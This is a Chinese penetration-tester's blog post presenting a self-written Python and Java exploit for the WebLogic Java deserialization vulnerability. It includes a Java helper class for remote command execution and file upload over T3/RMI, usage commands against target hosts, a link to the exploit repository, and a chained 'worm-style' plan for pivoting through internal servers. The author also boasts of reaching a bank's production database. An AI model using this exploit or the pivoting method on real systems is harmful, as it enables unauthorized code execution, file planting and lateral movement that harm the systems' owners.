关键字: Weblogic、反序列化漏洞、EXP
0x01. 简介
从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:
1、 目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。
2、 目标以及目标所在内网环境均为Linux或Unix服务器。
3、 通过各种手段,只能拿到反弹shell或者webshell
上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。
0x02. 思路及实现
改写的 Weblogic EXP同样满足4个功能需要,分别如下:
1、 连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。
2、 上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。
3、 执行命令:输入命令,执行命令并回显。
4、 断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。
EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。
1. 连接目标
连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:
使用Socket利用方式的payload:
1. payload_socket_win_init
2. payload_socket_win_open_port
3. payload_socket_linux_init
4. payload_socket_linux_open_port
使用RMI利用方式的payload:
1. payload_rmi_win_init
2. payload_rmi_win_class
3. payload_rmi_linux_ini
4. payload_rmi_linux_class
我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。
定义socket方法如下:
58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:
HELO:10.3.5.0.false
AS:2048
HL:19
HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。
下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:
72行是程序的执行入口
73——74行获取我们输入目标IP或域名,获取目标端口
我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。
Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。
Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。
测试windows目标:
Weblogic10.3.5版本
效果:
连接脚本目标目标之前:
连接之后:
在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。
2. 执行命令
执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图:
二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)
实现代码大概如下:
public class JavaExp { private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp"; private static String remoteLinuxPath = "/tmp/H3y5ec.tmp"; private static String Notices = "" + "用法:\n" + "1.一句话命令执行:\n" + "例子:java exp.jar 127.0.0.1 7001 'net user'\n" + "2.文件上传\n" + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n"; private static RemoteObject remote; public static void main(String[] args) throws NamingException { if(args.length <3){ System.out.println("参数错误!!\n"); System.out.println(Notices); System.exit(0); } String host = args[0]; String port = args[1]; String order = args[2]; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", "t3://" +host+ ":" + port); try { Context ctx = new InitialContext(env); remote = (RemoteObject) ctx .lookup("RemoteObject"); try { if("unbind".equals(order)){ try { remote.unbind(remoteWindowsPath); remote.unbind(remoteLinuxPath); System.out.println("unbind_OK"); return ; } catch (Exception e) { } } if("upload".equals(order)){ if(args.length <5){ System.out.println("参数错误!!\n"); System.out.println(Notices); System.exit(0); } String localfilePath = args[3]; String remotefilePath = args[4]; UploadFile(localfilePath,remotefilePath); }else{ String result = remote.exec(order); System.out.print("result:\n"+result); } } catch (Exception e) { } } catch (Exception e) { System.out.println("ConnectFailed"); } } public static void UploadFile(final String localfilePath,final String remotefilePath){ new Thread(new Runnable() { @Override public void run() { FileInputStream fileInputStream = null; try { File file = new File(localfilePath); fileInputStream = new FileInputStream(file); long total = file.length(); byte[] data = new byte[100 * 1024]; double sendedLen = 0; NumberFormat nf = NumberFormat.getPercentInstance(); int len = fileInputStream.read(data); if (len != -1) { if (remote.upload(remotefilePath, Arrays.copyOfRange(data, 0, len), false)) { sendedLen = sendedLen + len; System.out.println("上传中...已完成" + nf.format(sendedLen / total)); while ((len = fileInputStream .read(data)) != -1) { if (!remote.upload(remotefilePath, Arrays.copyOfRange(data, 0, len), true)) { System.out.println("上传失败!"); break; } sendedLen = sendedLen + len; System.out.println("上传中...已完成" + nf.format(sendedLen / total)); } if (len == -1) { System.out.println("上传成功!"); } } else { System.out.println("上传失败!"); } } else { System.out.println("上传失败!"); } } catch (Exception e) { System.out.println("上传失败!"); } finally { try { fileInputStream.close(); } catch (IOException e1) { } } } }).start(); } }
从代码的实现功能来看,那么执行命令的调用就是这样的:
Java –jar xxxx.jar Ip port “command”
使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下:
4. 断开连接
使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下:
0x03. EXP使用手册
usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD] [-lfile LFILE] [-rfile RFILE] optional arguments: -h, --help show this help message and exit——查看帮助 -target TARGET the target ip or domain.——指定目标IP或域名 -port PORT the target port.——指定目标端口 -cmd CMD [init|command|bye|upload]—— 选择类型: Ø init : exp会上传payload,尝试利用反序列化漏洞。 Ø command: 执行一句话命令 Ø bye: 断开目标,清空上传在目标服务器上的payload文件。 Ø upload: 进入上传文件模式,后面必须补充lfile和rfile参数。 -lfile LFILE local file.——本地文件绝对路径。 -rfile RFILE remote file.——上传文件在目标服务器上保存的绝对路径。
1. 连接目标
用法:
python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init
效果:
2. 执行一句话命令
用法:
python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"
3. 上传文件
使用py脚本用法:
python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"
或者使用辅助jar文件:
上传文件:
或者:
查看文件:
或者:
上传文件:
查看文件:
4. 断开目标
用法:
python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye
0x04. 总结
写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。
总结一下造的这个轮子的功能。
1、 适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)
2、 支持一句话命令执行。
3、 支持文件上传
PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。
exp地址:https://github.com/coffeehb/Some-PoC-oR-ExP/tree/master/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
0x05. 瞎想
突然冒出的想法:“蚯蚓式”攻击:
假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。
A ——B——C——D——…….N
A:是内网入口
B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。
那么我们就可以用这个轮子,一层一层的把他们串起来。
1、 攻击者 VS 服务器A
python linux_weblogic_exp.py -target A_IP -port 7001 -cmd init
上传攻击EXP轮子到A服务器
python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”
2、 已沦陷的A服务器 VS B服务器
python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init”
控制A上传攻击EXP轮子到B服务器上
python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”
3、 已沦陷的B服务器 VS C服务器
python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”
让A服务器控制B服务器上传EXP轮子到C服务器
python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”
4、……不断往下个”蚯蚓式攻击”
上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??